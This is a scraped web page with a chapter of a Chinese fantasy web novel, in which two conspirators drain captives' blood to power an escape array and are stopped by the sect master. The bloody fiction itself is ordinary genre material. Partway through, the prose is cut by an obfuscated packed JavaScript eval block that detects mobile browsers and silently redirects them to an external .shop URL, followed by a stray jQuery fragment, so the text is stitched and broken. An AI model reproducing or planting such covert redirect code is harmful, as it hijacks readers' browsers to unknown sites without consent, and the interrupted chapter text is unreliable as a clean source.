文趣网 > 都市小说 > 反派成了我老婆 > 19.失败
    沧兰眼睛蓦地睁大,不敢置信地看着,身后人手起刀落,腕上一凉一热,血已经泼了出来。

    央宁扣住沧兰手腕,视线看向杜荣,冷声问:“要多少?”

    沧兰低头看去,腕上流出来的鲜血并没有渗进去,反倒小蛇般缓缓游弋,沿着既定轨迹慢慢前行,一个纷繁的阵法符箓渐渐透出雏形。

    这是要将魔修体内的血榨出灵力破了阵法!

    央宁目光落在地面,几抹鲜红由边缘勾描慢探,最外层已经全部显现,透着股诡谲的气息,他面上露出喜意:“果然有用!”

    沧兰手腕被人强硬扳住,她只觉得腕上又是一疼,几道伤又出现,血液快速地流出来,滴滴嗒嗒往下淌。

    她感觉自己的手臂像是条素巾,被人拧帕子似的拧出来血液。

    央宁的眼睛越来越亮,他将急切又火热的目光投到杜荣身上,相比于他,杜荣神情冷静得像是个局外人,他只是轻轻一扫:“不够,把沧冥叫来。”

    央宁闻言直接翻沧兰口袋,找到一块传音石后捏在掌心,他下意识地朝杜荣看去,询问道:“说这里出了事情,让他过来看看?”

    杜荣直接伸手夺过传音石捏碎,左手用刀尖骤然朝着沧兰刺去,尖锐利器穿透肩膀,沧兰汗如雨下,一声痛呼猝不及防地传出去。

    杜荣脸上表情没有丝毫变化,沧冥急切的嗓音响起来:“怎么了,小兰你怎么了?你把小兰怎么了?”

    杜荣言简意赅,只吐出两个字:“过来!”

    这两个字出口后他便将传音石彻底毁掉,旋即只将目光落在地上,窗前的亮光洒在他身上,杜荣上半身处在阴影中,他只是看着地上繁密的符箓,偶尔还会用指尖血再勾勒一两笔。

    沧兰感觉自己在发冷,喉咙间冒出来的干渴在不断地提醒她血液正在流失,她眼前不受控制的发黑,看到的一切似乎都天旋地转,她好像被置于某个万花筒中,央宁又割了她手臂一下,连疼意都没有之前那般鲜明。

    她死死咬住舌尖,牙齿狠狠咬破那点软肉,藉由这点痛意让她清醒,倒下去才是全完了。

    屋中血腥味越发明显,央宁的心脏一下一下跳得飞快,简直能直接从喉咙里飞出来,外面有零碎声音传来——是沧冥来了!

    杜荣指尖一顿,抬眸:“动手。”

    央宁喉结滚动一番,手中利器被他握紧,掌心生出了潮湿,他修行不如沧冥,一时之间难免心中发怵。

    杜荣声音传来:“都受镇魂石影响,你未必比他差。”他视线毫无波动地看向沧兰,像是在打量一个物品:“他妹妹在你手上本就投鼠忌器,多好的机会。”

    央宁咬了咬牙,一掌劈晕沧兰迎了上去,外间沧冥已经冲进来,眨眼间两人刀剑相向。

    沧冥躲过挥过来的利器,远远看到沧兰不知生死地躺在地上,他不可置信地大吼:“央宁你疯了吗?!你居然跟着杜荣一起背叛主上?!”

    央宁没作声,只是手下动作越发狠辣,一招一式都意欲取人性命,沧冥竟一时之间难以招架,沧兰就离他几丈远,这点距离此时却如隔天堑。

    倒是杜荣开口,对方似乎笑了一声,勾着唇道:“良禽择木而栖,他若是在这每日也就做些仆从的活,可若是助我出去,他要什么我给什么,这不比跟在陆长绝身边好?”

    杜荣引着那些指尖血游移,他又轻描淡写地开口:“你也可以,若是助我,我许你的位置能媲美天衍宗峰主。”

    沧冥已然怒极,连连冷笑:“你别白日做梦了,主上才不会让你好过,你不可能从这里离开!”

    杜荣原本还淡然的神色乍冷,他看着缠斗在一起的两人,神色晦暗:“攻右肩,不必挡刀锋。”

    央宁清楚这次不成功便成仁,阆风仙尊昔年威名在外,话音落下,他步履已经随着对方话语行动,只听噗呲一声,沧冥手中剑刺入他左肩。

    “腕力一转,攻他面中。”

    央宁右手提剑,一点锋芒闪过,直直冲沧冥而去。

    沧冥眼看着寒光直劈面门,不得已撤步后退,仓促泄力气息下沉,杜荣此时此刻最后一道声音传来:“直刺腰腹!”

    又是利器入体之声,沧冥捂着腰腹不可置信地倒地,他眼前一片血红,央宁踉踉跄跄扯着沧冥拖着来到阵法前,脸上是个全然满足的笑意,打败沧冥的快乐让他如上云端,他一剑划开沧冥手腕,看着血又流进符箓中。

    他如今万分相信杜荣能离开这个地方,就算剥去天衍宗宗主威名,杜荣本身就是位野心和实力兼具的人物。

    又是如游蛇般蜿蜒游动的鲜红,它们沿着早就刻画好的轨迹行走,所到之处,勾描的线条像是活了一般蠕动。

    杜荣依旧守在阵法前,他的目光静

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771321|209477||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    静注视着这里,央宁反倒将视线落在沧冥和沧兰身上:“我解决掉他们二人。”

    “重伤即可。”杜荣头都未抬:“气息尚存才会救。”

    央宁明白他的意思了,倘若沧冥沧兰真死了,陆长绝一定会第一时间报复,可若是两人还活着,救人便会耽搁时间。

    不过......

    央宁开口问:“尊......他这么快就能回来?”

    杜荣看向沧冥,嗓音笃定:“他已经告诉陆长绝了。”

    央宁心脏猛地一跳,他心急如焚地看着不疾不徐显然还在酝酿之中符箓,干脆往自己手腕上划了一刀,又加了血进去。

    房中血腥味越来越足,阵法也越来越清晰,鲜血汇聚成的图案像是被风吹得流动起来,空中传来若有若无的风声,仿若哭嚎。

    时间在一点一滴地过去,央宁从未想过时间也能这么煎熬,每一息都好像站在天雷之下,他只能越来越多地往自己手臂上划刀,盼望着自己血如泉涌。

    越来越多的血液汇聚在一起,由滩成股又由股成线,终于,最后一抹红色落下之后,那条红线向着中心移去。

    七寸——

    狂风卷着怒气而至,四周空间好像都扭曲,央宁抬眼去看,一道身影已经出现在前——陆长绝回来了!

    五寸——

    杜荣手掌已经飞快结印,额角处搓揉出汗水,他听到自己血液涌动的声音,直直向着颅内奔腾而去。

    快些——再快些——

    再给他一些时间——只要一点点就够了!

    三寸——

    只要陆长绝去救那两人,不,甚至是多看一眼就能来得及!

    一寸——

    就在那红色即将碰到阵眼的那一刻,那道身影未经停留直直而来——陆长绝没有去看倒地不起心腹,没有去看背主求荣的下属,他无视这室内所有的一切血腥、伤亡、背叛、算计,径直出现在杜荣前。

    陆长绝面色扭曲,双手铁钳般死死扣住杜荣肩膀,他眼睛血红宛如恶鬼,一字一句地道:“你想去哪?”

    原本蠕动的符箓猝然打断,杜荣脑子爆发出一道陡然拔高的调子,山崩海啸般的轰鸣在他耳边乍响,过载的大脑在这一息罢工,他眼前出现闪电般空白,浑身肌肉痉挛。

    霎那间——

    他知道一切都结束了。